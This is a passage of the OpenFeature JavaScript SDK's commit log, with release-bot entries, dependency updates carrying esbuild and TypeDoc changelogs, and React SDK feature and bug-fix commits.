    // Old output (with --loader=ts)
    var Foo = /* @&#8203;__PURE__ */ ((Foo2) => {
    })(Foo || {});

    // New output (with --loader=ts)
    var Foo = /* @&#8203;__PURE__ */ ((Foo2) => {
      return Foo2;
    })(Foo || {});
    ```

- Handle Yarn Plug'n'Play edge case with `tsconfig.json`
([#&#8203;3698](https://togithub.com/evanw/esbuild/issues/3698))

Previously a `tsconfig.json` file that `extends` another file in a
package with an `exports` map failed to work when Yarn's Plug'n'Play
resolution was active. This edge case should work now starting with this
release.

- Work around issues with Deno 1.31+
([#&#8203;3682](https://togithub.com/evanw/esbuild/issues/3682))

Version 0.20.0 of esbuild changed how the esbuild child process is run
in esbuild's API for Deno. Previously it used `Deno.run` but that API is
being removed in favor of `Deno.Command`. As part of this change,
esbuild is now calling the new `unref` function on esbuild's long-lived
child process, which is supposed to allow Deno to exit when your code
has finished running even though the child process is still around
(previously you had to explicitly call esbuild's `stop()` function to
terminate the child process for Deno to be able to exit).

However, this introduced a problem for Deno's testing API which now
fails some tests that use esbuild with `error: Promise resolution is
still pending but the event loop has already resolved`. It's unclear to
me why this is happening. The call to `unref` was recommended by someone
on the Deno core team, and calling Node's equivalent `unref` API has
been working fine for esbuild in Node for a long time. It could be that
I'm using it incorrectly, or that there's some reference counting and/or
garbage collection bug in Deno's internals, or that Deno's `unref` just
works differently than Node's `unref`. In any case, it's not good for
Deno tests that use esbuild to be failing.

In this release, I am removing the call to `unref` to fix this issue.
This means that you will now have to call esbuild's `stop()` function to
allow Deno to exit, just like you did before esbuild version 0.20.0 when
this regression was introduced.

Note: This regression wasn't caught earlier because Deno doesn't seem to
fail tests that have outstanding `setTimeout` calls, which esbuild's
test harness was using to enforce a maximum test runtime. Adding a
`setTimeout` was allowing esbuild's Deno tests to succeed. So this
regression doesn't necessarily apply to all people using tests in Deno.

###
[`v0.20.1`](https://togithub.com/evanw/esbuild/blob/HEAD/CHANGELOG.md#0201)

[Compare
Source](https://togithub.com/evanw/esbuild/compare/v0.20.0...v0.20.1)

- Fix a bug with the CSS nesting transform
([#&#8203;3648](https://togithub.com/evanw/esbuild/issues/3648))

This release fixes a bug with the CSS nesting transform for older
browsers where the generated CSS could be incorrect if a selector list
contained a pseudo element followed by another selector. The bug was
caused by incorrectly mutating the parent rule's selector list when
filtering out pseudo elements for the child rules:

    ```css
    /* Original code */
    .foo {
      &:after,
      & .bar {
        color: red;
      }
    }

    /* Old output (with --supported:nesting=false) */
    .foo .bar,
    .foo .bar {
      color: red;
    }

    /* New output (with --supported:nesting=false) */
    .foo:after,
    .foo .bar {
      color: red;
    }
    ```

- Constant folding for JavaScript inequality operators
([#&#8203;3645](https://togithub.com/evanw/esbuild/issues/3645))

This release introduces constant folding for the `< > <= >=` operators.
The minifier will now replace these operators with `true` or `false`
when both sides are compile-time numeric or string constants:

    ```js
    // Original code
    console.log(1 < 2, '🍕' > '🧀')

    // Old output (with --minify)
    console.log(1<2,"🍕">"🧀");

    // New output (with --minify)
    console.log(!0,!1);
    ```

- Better handling of `__proto__` edge cases
([#&#8203;3651](https://togithub.com/evanw/esbuild/pull/3651))

JavaScript object literal syntax contains a special case where a
non-computed property with a key of `__proto__` sets the prototype of
the object. This does not apply to computed properties or to properties
that use the shorthand property syntax introduced in ES6. Previously
esbuild didn't correctly preserve the "sets the prototype" status of
properties inside an object literal, meaning a property that sets the
prototype could accidentally be transformed into one that doesn't and
vice versa. This has now been fixed:

    ```js
    // Original code
    function foo(__proto__) {
      return { __proto__: __proto__ } // Note: sets the prototype
    }
    function bar(__proto__, proto) {
      {
        let __proto__ = proto
        return { __proto__ } // Note: doesn't set the prototype
      }
    }

    // Old output
    function foo(__proto__) {
return { __proto__ }; // Note: no longer sets the prototype (WRONG)
    }
    function bar(__proto__, proto) {
      {
        let __proto__2 = proto;
return { __proto__: __proto__2 }; // Note: now sets the prototype
(WRONG)
      }
    }

    // New output
    function foo(__proto__) {
return { __proto__: __proto__ }; // Note: sets the prototype (correct)
    }
    function bar(__proto__, proto) {
      {
        let __proto__2 = proto;
return { ["__proto__"]: __proto__2 }; // Note: doesn't set the prototype
(correct)
      }
    }
    ```

- Fix cross-platform non-determinism with CSS color space
transformations
([#&#8203;3650](https://togithub.com/evanw/esbuild/issues/3650))

The Go compiler takes advantage of "fused multiply and add" (FMA)
instructions on certain processors which do the operation `x*y + z`
without intermediate rounding. This causes esbuild's CSS color space
math to differ on different processors (currently `ppc64le` and
`s390x`), which breaks esbuild's guarantee of deterministic output. To
avoid this, esbuild's color space math now inserts a `float64()` cast
around every single math operation. This tells the Go compiler not to
use the FMA optimization.

- Fix a crash when resolving a path from a directory that doesn't exist
([#&#8203;3634](https://togithub.com/evanw/esbuild/issues/3634))

This release fixes a regression where esbuild could crash when resolving
an absolute path if the source directory for the path resolution
operation doesn't exist. While this situation doesn't normally come up,
it could come up when running esbuild concurrently with another
operation that mutates the file system as esbuild is doing a build (such
as using `git` to switch branches). The underlying problem was a
regression that was introduced in version 0.18.0.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4yMDAuMCIsInVwZGF0ZWRJblZlciI6IjM3LjI0NS4wIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-05-01 09:22:19 -04:00
Rowan Heptinstall ad8898e8a9
test: add testing for HookFlagQuery (#922)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

- introduces tests for `HookFlagQuery`

### Related Issues
<!-- add here the GitHub issue that this PR resolves if applicable -->

Resolves #915 

### Notes
Placed these tests within `evaluation.spec.tsx`, happy to move them into
their own file if more appropriate

---------

Signed-off-by: Rowan Heptinstall <rowanheptinstall1@gmail.com>
Signed-off-by: Rowan Heptinstall <155630047+ro1hep@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-05-01 13:17:11 +00:00
Tommy Josépovic 4bce2a0f1a
fix: delayed suspense causes "flicker" (#921)
<!-- Please use this template for your pull request. -->
<!-- Please use the sections that you need and delete other sections -->

## This PR
<!-- add the description of the PR here -->

- Add an internal `useOpenFeatureClientStatus()` function to make it
slightly easier to keep track of the state of the current Client, and
know when to suspend or not.

- Replaces the `suspend()` function with a `suspendUntilReady()`
function. The `suspendUntilReady()` function fires immediatly during the
first render or when the component cannot render due to the client
having changed status.

- Put the Client status and the feature flag details inside React
states. This is required to make APIs like `startTransition` work
properly with the library

### Related Issues
<!-- add here the GitHub issue that this PR resolves if applicable -->

Fixes #920

### Notes
<!-- any additional notes for this PR -->

### Follow-up Tasks

- [x] Add more tests. Suspense and Transitions are very tricky. While
these changes don't seem to have broken any existing tests, we should
add new tests to make sure Suspense and Transitions continue to work
properly in the future.

- [ ] ~I think there might still be some reactivity issues with some
parts of the codebase. The client returned by `useOpenFeatureClient()`
didn't seem to update properly when the client changed, which made
`useOpenFeatureClientStatus()` not update properly.~ Out of the scope of
this PR

### How to test
<!-- if applicable, add testing instructions under this section -->

I built the application with `npm build`, then `npm pack`. I used the
modified code on a local project to see if it fixed the issues.

I built projects in CodeSanbox that demonstrate the issues.

For Suspense:
https://codesandbox.io/embed/openfeature-suspense-bug-5j7yll?fontsize=14&hidenavigation=1&theme=dark

For Transitions:
https://codesandbox.io/embed/openfeature-suspense-bug-forked-lqhyf3?fontsize=14&hidenavigation=1&theme=dark

---------

Signed-off-by: Tommy Josépovic <tommy.josepovic@gsoft.com>
2024-05-01 13:00:32 +00:00
OpenFeature Bot 86a9230add
chore(main): release react-sdk 0.3.3 (#917)
🤖 I have created a release *beep* *boop*
---


##
[0.3.3](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.3.2...react-sdk-v0.3.3)
(2024-04-23)


### 🐛 Bug Fixes

* invocation hooks not called
([#916](https://github.com/open-feature/js-sdk/issues/916))
([2f77738](2f77738090))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-04-23 15:07:03 -04:00
Todd Baert 2f77738090
fix: invocation hooks not called (#916)
- fixes issue where invocation hooks were not called in the React SDK
- adds associated tests 

Fixes: https://github.com/open-feature/js-sdk/issues/914

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-04-23 16:55:30 +00:00
Todd Baert e4287ed1a5
chore: remove release-as
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-04-19 09:52:20 -04:00
OpenFeature Bot 5e28dbb81a
chore(main): release react-sdk 0.3.2 (#909)
🤖 I have created a release *beep* *boop*
---


##
[0.3.2](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.3.2-experimental...react-sdk-v0.3.2)
(2024-04-18)


### 🧹 Chore

* remove pre-release, update readme
([#908](https://github.com/open-feature/js-sdk/issues/908))
([2532379](2532379f2e))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-04-18 16:35:29 +00:00
OpenFeature Bot 4baf6ad3f4
chore(main): release nestjs-sdk 0.1.4-experimental (#911)
🤖 I have created a release *beep* *boop*
---


##
[0.1.4-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.1.3-experimental...nestjs-sdk-v0.1.4-experimental)
(2024-04-18)


### 🧹 Chore

* bump spec version badge to v0.8.0
([#910](https://github.com/open-feature/js-sdk/issues/910))
([a7b2c4b](a7b2c4bca0))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-04-18 16:04:04 +00:00
OpenFeature Bot dc07385f25
chore(main): release web-sdk 1.0.3 (#912)
🤖 I have created a release *beep* *boop*
---


##
[1.0.3](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.0.2...web-sdk-v1.0.3)
(2024-04-18)


### 🧹 Chore

* bump spec version badge to v0.8.0
([#910](https://github.com/open-feature/js-sdk/issues/910))
([a7b2c4b](a7b2c4bca0))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-04-18 15:57:47 +00:00
OpenFeature Bot 8dd1eb7413
chore(main): release server-sdk 1.13.5 (#913)
🤖 I have created a release *beep* *boop*
---


##
[1.13.5](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.13.4...server-sdk-v1.13.5)
(2024-04-18)


### 🧹 Chore

* bump spec version badge to v0.8.0
([#910](https://github.com/open-feature/js-sdk/issues/910))
([a7b2c4b](a7b2c4bca0))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-04-18 15:54:18 +00:00
Michael Beemer a7b2c4bca0
chore: bump spec version badge to v0.8.0 (#910)
## This PR

- bump spec version badge to v0.8.0

### Notes

The SDKs have been complimented with the latest spec release, but we
neglected to bump the badge version.

Signed-off-by: Michael Beemer <beeme1mr@users.noreply.github.com>
2024-04-18 15:31:45 +00:00
Todd Baert 2532379f2e
chore: remove pre-release, update readme (#908)
- prompts a release of a non-experimental react-sdk
- updates README to point to React and NestJS SDKs
- removes version of peer deps from README (too brittle, point users to
`package.json`)
- adds an FAQ question

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-04-17 20:46:03 +00:00
OpenFeature Bot ba1be5cc81
chore(main): release react-sdk 0.3.2-experimental (#907)
🤖 I have created a release *beep* *boop*
---


##
[0.3.2-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.3.1-experimental...react-sdk-v0.3.2-experimental)
(2024-04-11)


### 🐛 Bug Fixes

* re-render w/ useWhenProviderReady, add tests
([#901](https://github.com/open-feature/js-sdk/issues/901))
([0f2094e](0f2094e236))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-04-12 07:56:40 -04:00
Todd Baert 0f2094e236
fix: re-render w/ useWhenProviderReady, add tests (#901)
This PR:

- brings react-sdk test coverage from 0% to ~95%
  - adds DOM-based testing (tests based on asserting DOM entity states)
    - tests for query-style, basic, and detailed evaluation APIs
- tests for suspense functionality and re-rendering on context change
  - tests for some util functions and hooks
  - `renderHook` tests for non suspending hooks
- fixes a bug where `useWhenProviderReady` didn't cause re-render after
the provider is ready if suspense wasn't used (leading to an out-of-date
return value for provider readiness)


![image](https://github.com/open-feature/js-sdk/assets/25272906/e8ee420f-0167-4048-94e3-53176bd883b9)

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-04-11 17:41:13 +00:00
OpenFeature Bot 240a46165d
chore(main): release react-sdk 0.3.1-experimental (#906)
🤖 I have created a release *beep* *boop*
---


##
[0.3.1-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.3.0-experimental...react-sdk-v0.3.1-experimental)
(2024-04-09)


### 🐛 Bug Fixes

* default options (re-renders not firing by default)
([#905](https://github.com/open-feature/js-sdk/issues/905))
([a85e723](a85e72333f))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-04-09 16:20:54 -04:00
Todd Baert a85e72333f
fix: default options (re-renders not firing by default) (#905)
When I was adding the general `suspend` option as @lukas-reining
suggested (a way to enable/disable all suspense features) I broke the
default options. I found this writing tests in a different branch.

Tests for the entire SDK including this are incoming shortly (today),
but this is a fix for the issue.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-04-09 16:03:06 -04:00
OpenFeature Bot 0eefa84823
chore(main): release react-sdk 0.3.0-experimental (#903)
🤖 I have created a release *beep* *boop*
---


##
[0.3.0-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.2.4-experimental...react-sdk-v0.3.0-experimental)
(2024-04-08)


### ⚠ BREAKING CHANGES

* options inheritance, useWhenProviderReady, suspend by default
([#900](https://github.com/open-feature/js-sdk/issues/900))

###  New Features

* options inheritance, useWhenProviderReady, suspend by default
([#900](https://github.com/open-feature/js-sdk/issues/900))
([539e741](539e7415de))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-04-09 13:38:23 +00:00
Todd Baert 539e7415de
feat!: options inheritance, useWhenProviderReady, suspend by default (#900)
* suspends while reconciling by default
* adds the ability to configure options at the context-provider level
* adds new `useWhenProviderReady` hook which force-suspend components
until the provider is ready (especially good for React 17 shortcomings
* updates README with FAQ/troubleshooting and more

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Lukas Reining <lukas.reining@codecentric.de>
2024-04-08 20:40:32 +00:00
renovate[bot] 37c50b744e
chore(deps): update dependency typedoc to v0.25.12 (#858)
[![Mend
Renovate](https://app.renovatebot.com/images/banner.svg)](https://renovatebot.com)

This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [typedoc](https://typedoc.org)
([source](https://togithub.com/TypeStrong/TypeDoc)) | [`0.25.10` ->
`0.25.12`](https://renovatebot.com/diffs/npm/typedoc/0.25.10/0.25.12) |
[![age](https://developer.mend.io/api/mc/badges/age/npm/typedoc/0.25.12?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/typedoc/0.25.12?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/typedoc/0.25.10/0.25.12?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|
[![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/typedoc/0.25.10/0.25.12?slim=true)](https://docs.renovatebot.com/merge-confidence/)
|

---

### Release Notes

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

###
[`v0.25.12`](https://togithub.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v02512-2024-03-10)

[Compare
Source](https://togithub.com/TypeStrong/TypeDoc/compare/v0.25.11...v0.25.12)

##### Bug Fixes

- Updated page font to work around issues with Mac rendering,
[#&#8203;2518](https://togithub.com/TypeStrong/TypeDoc/issues/2518)

##### Thanks!

-   [@&#8203;docmattman](https://togithub.com/docmattman)

###
[`v0.25.11`](https://togithub.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v02511-2024-03-06)

[Compare
Source](https://togithub.com/TypeStrong/TypeDoc/compare/v0.25.10...v0.25.11)

##### Bug Fixes

- Fixed an issue introduced with 0.25.10 which causes the page index to
initially render empty,
[#&#8203;2514](https://togithub.com/TypeStrong/TypeDoc/issues/2514).
- "On This Page" section is now smarter when handling page headings
which do not follow the normal `h1>h2>h3` process,
[#&#8203;2515](https://togithub.com/TypeStrong/TypeDoc/issues/2515).

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined),
Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR has been generated by [Mend
Renovate](https://www.mend.io/free-developer-tools/renovate/). View
repository job log
[here](https://developer.mend.io/github/open-feature/js-sdk).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4yMzAuMCIsInVwZGF0ZWRJblZlciI6IjM3LjIzOC4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiJ9-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2024-04-05 17:02:06 -04:00
OpenFeature Bot cba22e70e7
chore(main): release react-sdk 0.2.4-experimental (#895)
🤖 I have created a release *beep* *boop*
---


##
[0.2.4-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.2.3-experimental...react-sdk-v0.2.4-experimental)
(2024-04-03)


###  New Features

* query-style, generic useFlag hook
([#897](https://github.com/open-feature/js-sdk/issues/897))
([5c17b8d](5c17b8dfcf))


### 🔄 Refactoring

* dir restructure
([#894](https://github.com/open-feature/js-sdk/issues/894))
([ce9f65c](ce9f65c6ec))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-04-03 21:25:54 +00:00
Todd Baert 5c17b8dfcf
feat: query-style, generic useFlag hook (#897)
This PR adds a new `useFlag` hook. This hook:

- returns an object supporting a react "query-style" API with relevant
properties: `const { value: newMessage, isError, reason, errorCode,
isAuthoritative, type } = useFlag('new-message', true);`
- supports ergonomic generics: 
```
const { value: boolVal }: FlagQuery<boolean> = useFlag('bool-flag', true);
const { value: stringVal }: FlagQuery<string> = useFlag('string-flag', 'string');
const { value: objVal }: FlagQuery<{greeting: string}> = useFlag('obj-flag', { greeting: 'hi' });
```
- supports all the same options and features as other hooks (suspense,
etc)

This PR fixes some type bugs as well, and adds to the readme.

DEPENDS ON: https://github.com/open-feature/js-sdk/pull/898

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Juan Bernal <juanxwtf@gmail.com>
Co-authored-by: Pete Hodgson <github@thepete.net>
2024-04-03 16:51:20 +00:00
OpenFeature Bot 9ec4399f71
chore(main): release nestjs-sdk 0.1.3-experimental (#863)
🤖 I have created a release *beep* *boop*
---


##
[0.1.3-experimental](https://github.com/open-feature/js-sdk/compare/nestjs-sdk-v0.1.2-experimental...nestjs-sdk-v0.1.3-experimental)
(2024-04-02)


### 🐛 Bug Fixes

* **deps:** resolve CVE-2024-29041 with nest update
([#889](https://github.com/open-feature/js-sdk/issues/889))
([042ec5f](042ec5f708))


### 📚 Documentation

* remove duplicate npm install section
([fd0fcfc](fd0fcfcfc8))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-04-03 12:42:28 +02:00
OpenFeature Bot bca0ef2939
chore(main): release server-sdk 1.13.4 (#888)
🤖 I have created a release *beep* *boop*
---


##
[1.13.4](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.13.3...server-sdk-v1.13.4)
(2024-04-02)


### 🐛 Bug Fixes

* return metadata for the bound provider in hookContext
([#883](https://github.com/open-feature/js-sdk/issues/883))
([fd84025](fd84025bdf))


### 🧹 Chore

* **main:** release core 1.1.0
([#899](https://github.com/open-feature/js-sdk/issues/899))
([b3e5f7e](b3e5f7eb2a))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-04-02 18:47:01 +00:00
OpenFeature Bot 50707e4a5d
chore(main): release web-sdk 1.0.2 (#887)
🤖 I have created a release *beep* *boop*
---


##
[1.0.2](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.0.1...web-sdk-v1.0.2)
(2024-04-02)


### 🐛 Bug Fixes

* return metadata for the bound provider in hookContext
([#883](https://github.com/open-feature/js-sdk/issues/883))
([fd84025](fd84025bdf))


### 🧹 Chore

* **main:** release core 1.1.0
([#899](https://github.com/open-feature/js-sdk/issues/899))
([b3e5f7e](b3e5f7eb2a))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-04-02 14:41:37 -04:00
OpenFeature Bot b3e5f7eb2a
chore(main): release core 1.1.0 (#899)
🤖 I have created a release *beep* *boop*
---


##
[1.1.0](https://github.com/open-feature/js-sdk/compare/core-v1.0.0...core-v1.1.0)
(2024-04-02)


###  New Features

* add STALE pre-defined reason
([#898](https://github.com/open-feature/js-sdk/issues/898))
([7f4f080](7f4f0808a6))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

---------

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
Co-authored-by: openfeature-peer-update-bot <openfeature-peer-update-bot@openfeature.dev>
2024-04-02 14:31:27 -04:00
Todd Baert 7f4f0808a6
feat: add STALE pre-defined reason (#898)
Adds STALE pre-defined reason, re-orders reasons in source to match
spec.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-04-02 18:17:14 +00:00
Todd Baert ce9f65c6ec
refactor: dir restructure (#894)
No functional changes, just improve the dir structure and formatting.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-04-01 14:20:35 -04:00
Todd Baert 042ec5f708
fix(deps): resolve CVE-2024-29041 with nest update (#889)
Fixes CVE in transitive express dep with nest update.

see: https://nvd.nist.gov/vuln/detail/CVE-2024-29041

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-27 13:22:47 +00:00
Federico Bond fd84025bdf
fix: return metadata for the bound provider in hookContext (#883)
Clients were incorrectly populating the hook context provider metadata
field with metadata from the default provider instead of the one bound
to the client.

Signed-off-by: Federico Bond <federicobond@gmail.com>
2024-03-26 11:11:33 +00:00
OpenFeature Bot fc4867799d
chore(main): release server-sdk 1.13.3 (#878)
🤖 I have created a release *beep* *boop*
---


##
[1.13.3](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.13.2...server-sdk-v1.13.3)
(2024-03-25)


### 📚 Documentation

* add peer dep explainer
([#876](https://github.com/open-feature/js-sdk/issues/876))
([cfd23b9](cfd23b90f0))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-25 15:28:27 -04:00
OpenFeature Bot 638a7652eb
chore(main): release react-sdk 0.2.3-experimental (#861)
🤖 I have created a release *beep* *boop*
---


##
[0.2.3-experimental](https://github.com/open-feature/js-sdk/compare/react-sdk-v0.2.2-experimental...react-sdk-v0.2.3-experimental)
(2024-03-25)


### 🐛 Bug Fixes

* make domain/client optional
([#884](https://github.com/open-feature/js-sdk/issues/884))
([2b633b5](2b633b5677))


### 🧹 Chore

* prompt web-sdk 1.0
([#871](https://github.com/open-feature/js-sdk/issues/871))
([7d50d93](7d50d931d5))


### 📚 Documentation

* fix invalid link fragment
([9d63803](9d638038c0))
* remove emojis from react readme
([9e0e368](9e0e368d23))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-03-25 10:44:17 -04:00
OpenFeature Bot 3e37254917
chore(main): release web-sdk 1.0.1 (#886)
🤖 I have created a release *beep* *boop*
---


##
[1.0.1](https://github.com/open-feature/js-sdk/compare/web-sdk-v1.0.0...web-sdk-v1.0.1)
(2024-03-25)


### 📚 Documentation

* add peer dep explainer
([#876](https://github.com/open-feature/js-sdk/issues/876))
([cfd23b9](cfd23b90f0))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-03-25 10:41:07 -04:00
Todd Baert c8255d4fa1
chore: remove release-as
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-25 10:38:20 -04:00
Todd Baert 2b633b5677
fix: make domain/client optional (#884)
Fixes a typing bug that makes domain/client required; these should be
optional, consistent with other SDKs and the spec.

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-25 14:32:14 +00:00
Todd Baert cfd23b90f0
docs: add peer dep explainer (#876)
Adds a blurb out peer deps and lib development, installation.

@beeme1mr I also added a bit about `--legacy-peer-deps` after the
closure of https://github.com/open-feature/js-sdk/issues/834

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-15 13:57:04 +00:00
OpenFeature Bot 8ef8c2c6a9
chore(main): release web-sdk 1.0.0 (#873)
🤖 I have created a release *beep* *boop*
---


##
[1.0.0](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.16...web-sdk-v1.0.0)
(2024-03-13)


### 🧹 Chore

* prompt web-sdk 1.0
([#871](https://github.com/open-feature/js-sdk/issues/871))
([7d50d93](7d50d931d5))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
2024-03-14 20:47:48 +00:00
Todd Baert 7d50d931d5
chore: prompt web-sdk 1.0 (#871)
This will prompt a 1.0 web SDK release.

---------

Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-13 18:25:32 +00:00
OpenFeature Bot e47a472753
chore(main): release web-sdk 0.4.16 (#865)
🤖 I have created a release *beep* *boop*
---


##
[0.4.16](https://github.com/open-feature/js-sdk/compare/web-sdk-v0.4.15...web-sdk-v0.4.16)
(2024-03-12)


### 🧹 Chore

* **main:** release core 1.0.0
([#869](https://github.com/open-feature/js-sdk/issues/869))
([4191a02](4191a02dbc))

---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).

Signed-off-by: OpenFeature Bot <109696520+openfeaturebot@users.noreply.github.com>
Signed-off-by: Todd Baert <todd.baert@dynatrace.com>
Co-authored-by: Todd Baert <todd.baert@dynatrace.com>
2024-03-12 15:00:46 -04:00
OpenFeature Bot 80a6465b58
chore(main): release server-sdk 1.13.2 (#862)
🤖 I have created a release *beep* *boop*
---


##
[1.13.2](https://github.com/open-feature/js-sdk/compare/server-sdk-v1.13.1...server-sdk-v1.13.2)
(2024-03-12)


